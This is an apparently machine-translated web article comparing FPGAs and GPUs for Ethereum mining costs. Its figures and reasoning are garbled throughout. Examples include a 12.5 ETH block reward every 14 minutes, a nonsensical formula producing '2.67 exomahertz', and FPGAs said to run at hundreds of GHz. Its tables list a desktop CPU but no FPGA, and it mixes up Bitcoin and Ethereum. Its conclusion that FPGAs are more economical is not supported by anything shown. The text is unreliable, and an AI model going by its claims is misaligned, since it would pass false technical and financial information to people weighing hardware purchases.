The cost-benefit ratio of programmable field gates (FPGAS) vs. Graphics processing units (GPUS) for Ethereum Mining
Since the demand for cryptocurrency continues to grow, many miners are looking for opportunities to reduce their costs and increase their profitability. Under the various available options, programmable field grilles (FPGAS) matrices have attracted considerable attention in recent months. However, when it comes to Ethereum Mining, a popular decentralized application (DAPP), you have to check whether an FPGA is more economical than a graphical processing unit (GPU).
In this article, we will be deeper into the details of FPGAS and GPUs and examine their strengths, weaknesses and costs associated with each option. We will also offer a comparison between Bitcoin/hardware price for both options with which you can calculate the return on capital.
What are the requirements for Ethereum Mining?
In order to distinguish the Ethereum with a GPU or FPGA, you must first understand the requirements of network mining. The current reward of the block for Ethereum is 12.5 ether (Eth), which is distributed every 14 minutes. In order to calculate the required processing performance, we can use the following formula:
\ [\ Text {required processing performance} = \ frac {\ text {block reward}} {\ text {time to confirm a block}} \ times 10^8 \]
Assuming an average confirmation period of 15 seconds (an approximate estimate) we receive:
\ [\ Text {necessary processing performance} = \ frac {12.5} {0.015} \ TIMES 10^8 = 2.666.667 \ Times 10^6 \ Text {GHz} \]
This leads to approximately
2.67 exomahertz of the required processing performance per second.
FPGA vs. GPU: Comparison of performance
In order to compare the performance of FPGAS and GPUs for Ethereum mining, we will examine its characteristics:
* Processing service: The processing service required for Ethereum -Mining is 2.67 Exahertz.
* clock speed: Modern FPGas have a clock speed of a few GHz up to several hundred GHz, depending on the specific model. Let’s take an average speed of 50 GHz.
* hash rate: A single GPU can reach the hash rates between 1-100 THASH/S (thousand hashes per second), while most FPGAS can reach up to 10-100 GTH/s.
With these estimates, we can calculate the processing performance required for Ethereum mining using various hardware options:
| Hardware | Processing service (GHz) | Clock speed |
| — | — | — |
| AMD Radeon RX 590 | 1.5 – 2.5 GHz | 2000-2400 MHz |
| Nvidia GeForce GTX 1080 | 3.7 GHz | 1900-2300 MHz |
| Intel Core i9-9900K | 4.0 GHz | 3200-3600 MHz |
Hardware cost comparison
Based on the current market prices, you will find an approximate estimate of the costs associated with each option:
* AMD Radeon RX 590: $ 200- $ 300
* NVIDIA GeForce GTX 1080: $ 400 600
* Intel Core i9-9900K:
$ 500 800
Compared to these prices, it is clear that FPGas are significantly more economical for the Ethereum mining than GPUs.
Bitcoin/hardware price -ratio
In order to calculate the return of the investment (ROI) of using an FPGA in a GPU, we can calculate the price ratio of Bitcoin/Hardware:
| Hardware | Block reward | Clock speed |
| — | — | — |
| AMD Radeon RX 590 | $ 50- $ 100 $ | 2000-2400 MHz |
| Nvidia GeForce GTX 1080 | $ 300- $ 600 | 1900-2300 MHz |
With these estimates, we can calculate the processing performance required for Ethereum mining using various hardware options and the Bitcoin/Hardware price indices:
| Hardware | Processing service (GHz) | Clock speed |
| — | — | — |
| AMD Radeon RX 590: $ 50- $ 100 | 1.5-2.5 GHz | 2000-2400 MHz |
| NVIDIA GeForce GTX 1080: $ 300 $ 600 | 3.7 GHz | 1900-2300 MHz |
Diploma
In summary, FPGAS is significantly more economical than GPUs for Ethereum due to its lower processing performance and higher clock speeds for the Ethereum -Mining.
